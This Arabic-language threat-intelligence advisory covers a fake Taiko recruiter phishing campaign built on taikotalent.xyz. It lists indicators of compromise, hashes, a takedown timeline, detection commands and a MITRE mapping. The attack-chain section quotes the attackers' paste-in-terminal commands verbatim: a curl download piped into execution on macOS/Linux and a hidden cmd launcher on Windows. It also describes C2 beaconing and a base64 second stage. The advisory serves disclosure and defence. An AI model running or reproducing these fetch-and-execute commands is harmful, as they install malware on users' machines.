taikotalent.xyz — حصان طروادة طرفي لمنتحل صفة مسؤول توظيف (مؤشرات الاختراق والكشف)

الحالة: تم الإغلاق. تم تعليق النطاق الخبيث taikotalent.xyz من قبل المسجّل الخاص به (clientHold) في 2026-10-10 الساعة 02:39 UTC — أي بعد ~12 ساعة من متابعتنا المدعومة بالأدلة إلى AWS بشأن إساءة الاستخدام مع بقاء الحمولة نشطة. تم التحقق في 2026-10-15 عبر RDAP وDNS. التفاصيل في الجدول الزمني أدناه.

تحديث 2026-10-15 — إغلاق نطاق التصيّد الاحتيالي. يُرجع كل من taikotalent.xyz وhr.taikotalent.xyz الآن NXDOMAIN (تم التحقق عبر DNS-over-HTTPS، 2026-10-15) — أي بعد 10 أيام من التقارير المنسّقة في 5 أكتوبر (قضية AWS 179121234700301، تذكرة NameCheap NC-DFA-2100، 13 قناة تم إخطارها). لم تعد روابط الحمولة (/verify_m، /verify_w) قابلة للحل.

تم الحل جزئيًا — طبقة C2 لا تزال نشطة: لا يزال كل من api.gaganata.ink (104.21.84.196 / 172.67.196.60) وapi.fallgganata.ink قابلين للحل خلف Cloudflare ويستجيبان عبر HTTP (خطأ 404 عند الفحص، 2026-10-15). لا تزال تقارير إساءة الاستخدام الخاصة بنطاقات gaganata.ink / fallgganata.ink معلّقة لدى المسجّل وCloudflare (نموذج الإبلاغ عن إساءة الاستخدام يتطلب متصفحًا + Turnstile).

الحالة @ 2026-10-09 الساعة 00:46 UTC (تاريخية): الحمولة لا تزال نشطة — https://taikotalent.xyz/verify_m → HTTP 200، 49,916 بايت، مطابقة بايتًا ببايت لعيّنة 5 أكتوبر، بعد أكثر من 4 أيام من تقرير إساءة الاستخدام إلى AWS.

حملة تصيّد احتيالي موجّهة تنتحل صفة Taiko (شركة التجميع (rollup) على إيثيريوم — النطاق الحقيقي taiko.xyz، لا علاقة لها بـ taikotalent.xyz) ترسل رسائل بريد إلكتروني توظيف مزيفة بعنوان "Engineering opening" إلى مطوري المصادر المفتوحة، يتم جمعها من ملفاتهم العامة على GitHub. تنتهي "بوابة التقديم" المزيفة بصفحة "Anti-bot check with Terminal" التي تُقنع الضحية بلصق أمر تنزيل في طرفيته الخاصة — دون الحاجة إلى أي استغلال، فالمستخدم هو من ينفّذ البرمجية الخبيثة بنفسه.

الجدول الزمني للإغلاق

التاريخ (UTC)	الحدث
2026-10-05	استلام الحملة؛ عزل العيّنة؛ إرسال تقرير جنائي كامل (قضية AWS `179121234700301`، Resend، Taiko)
2026-10-09	توسيع الإفصاح: هذا المستودع، gist، dev.to، مقتطف GitLab، Telegraph؛ 9 إخطارات إضافية تشمل إساءة استخدام NameCheap (→ تذكرة `NC-DFA-2100`)، Softshellweb (مضيف الحمولة)، Cloudflare (C2)، APWG، OpenPhish، oss-security، 3 وسائل إعلامية. الحمولة لا تزال مطابقة بايتًا ببايت ونشطة
2026-10-15	`taikotalent.xyz` / `hr.taikotalent.xyz` → NXDOMAIN. البنية التحتية للتصيّد الاحتيالي معطّلة بعد 10 أيام من التقرير الأول. لا يزال C2 (`api.gaganata.ink`، `api.fallgganata.ink`) قابلًا للحل خلف Cloudflare

لماذا هذا مهم

الجانب الجديد: نمط الهندسة الاجتماعية القائم على "الطرفية كاختبار CAPTCHA" — فحص مزيف لمكافحة الروبوتات يجعل تشغيل المُهيّئ (stager) هو خطوة "التحقق".
جانب المساءلة: تم الإبلاغ عبر القنوات الصحيحة في 5 أكتوبر (رقم قضية AWS، Resend، Taiko) مع تقرير جنائي كامل؛ ولا يزال رابط حصان طروادة يقدّم حمولة مطابقة بايتًا ببايت في 9 أكتوبر.
جانب الثقة: ينجح كل من SPF وDKIM في التحقق — فالمصادقة تثبت السيطرة على نطاق عمره 8 أيام، لا السمعة. بوابات البريد التي تتعامل مع نجاح DMARC كدليل أمان تكون مكشوفة.
جانب التحليل الجنائي: تصميم مضاد للتحليل الجنائي — مُهيّئ ذاتي الحذف، مرحلة ثانية مضمّنة بـ base64 في /var/tmp/.kdm.*، منفصلة عبر perl double-fork، حلقة تنظيف بـ 60 محاولة.

مؤشرات الاختراق

النوع	القيمة	السياق
النطاق	`taikotalent.xyz`	مسجّل في 2026-09-27 (Namecheap)، قبل الحملة بـ 8 أيام
النطاق الفرعي للإرسال	`hr.taikotalent.xyz`	DKIM d=؛ MX → بوابة استقبال AWS SES
المرسِل	`[email protected]`	هوية مزيفة "Joseph Quintana, Talent, Taiko"
عنوان IP للإرسال	`23.249.215.58`	`d215-58.smtp-out.sa-east-1.amazonses.com` (Amazon SES عبر Resend)
البوابة	`https://taikotalent.xyz/`	تطبيق صفحة واحدة "دعوة خاصة"، رموز Ref لكل مستلم (`Ref-oxqgd77kb9zw14`)
تسريب البيانات	`POST /track-activity`	بصمة الجهاز + الاسم/البريد الإلكتروني/اسم مستخدم GitHub عند كل خطوة من خطوات النموذج
الحمولة (macOS/Linux)	`https://taikotalent.xyz/verify_m`	49,916 بايت bash stager "deepfake_guard" — نشط 2026-10-09
الحمولة (Windows)	`https://taikotalent.xyz/verify_w`	مشغّل `v.cmd`، نافذة مخفية
C2	`https://api.gaganata.ink/guard-launcher-result`	إشارة حالة التثبيت (Namecheap، خلف Cloudflare)
C2 احتياطي	`https://api.fallgganata.ink`	نقطة نهاية ثانوية
عنوان IP لمضيف الحمولة	`193.160.32.10`	Shock Hosting (US-SHOCK1-20191118)
المرحلة الثانية	`/var/tmp/.kdm.XXXXXX`	مرحلة مضمّنة مفكوكة بترميز Base64؛ حذف ذاتي مضاد للتحقيق الجنائي

تجزئات SHA-256 الرئيسية

الأثر	SHA-256
`verify_m` المحجوز في الحجر الصحي 2026-10-05 (49,916 بايت)	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d`
`verify_m` المُعاد جلبه نشطًا 2026-10-09	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d` (مطابق بايتًا ببايت)
بريد التصيّد الأصلي (خام)	`84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564`
مرفق `.eml` الأصلي (11,098 بايت)	`3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3`
تقرير التحقيق الجنائي PDF (17 صفحة، 201,044 بايت)	`d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c`

تحقّق بنفسك (دون إتلاف)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

الكشف

YARA (انظر yara/bash_stager_taikotalent.yar)

فحص اختراق المضيف (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

الشبكة: احظر/راقب حركة الخروج (egress) إلى *.gaganata.ink و*.fallgganata.ink وtaikotalent.xyz (بما في ذلك النطاق الفرعي hr.).

مسؤولو البريد: تعاملوا مع SPF/DKIM pass من النطاقات المسجّلة حديثًا على أنها محايدة — المصادقة ≠ السمعة.

سلسلة الهجوم

بريد إلكتروني موجّه إلى أحد المساهمين العامّين في GitHub يعرض عليه دورًا هندسيًا في Taiko، من [email protected] (DKIM s=resend d=hr.taikotalent.xyz، عبر Amazon SES sa-east-1، IP 23.249.215.58).
بوابة SPA "دعوة خاصة" مع رموز Ref لكل مستلم؛ يقوم POST /track-activity بتسريب بصمات الأجهزة في كل خطوة.
صفحة "فحص مكافحة الروبوتات باستخدام Terminal" تطلب لصق أمر في طرفية الضحية نفسها:
- macOS/Linux: perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
- Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
أداة التحميل المرحلي deepfake_guard: تعيد التشغيل منفصلة عبر nohup، وترسل إشارات (beacons) إلى api.gaganata.ink/guard-launcher-result (والبديل api.fallgganata.ink)، وتفكّ ترميز المرحلة الثانية المضمّنة بصيغة base64 إلى /var/tmp/.kdm.XXXXXX، وتنفّذها مع نقاط نهاية C2 كمتغيرات بيئة، ثم تحذف نفسها والمشغّل وملف الحالة ومخلفات /var/tmp (حلقة مضادة للتحقيق الجنائي بـ 60 محاولة).

MITRE ATT&CK

التقنية	الاسم
T1566.002	Spearphishing Link
T1656	Impersonation
T1204.002	User Execution: Malicious File (paste-in-terminal)
T1059.004	Command & Scripting: Unix Shell
T1027	Obfuscated Files (base64 second stage)
T1071.001	Application Layer Protocol: Web (beacon)
T1070.004	Indicator Removal: File Deletion (self-delete)
T1583.001	Acquire Infrastructure: Domains

الأكثر شعبية

taikotalent-phishing-iocs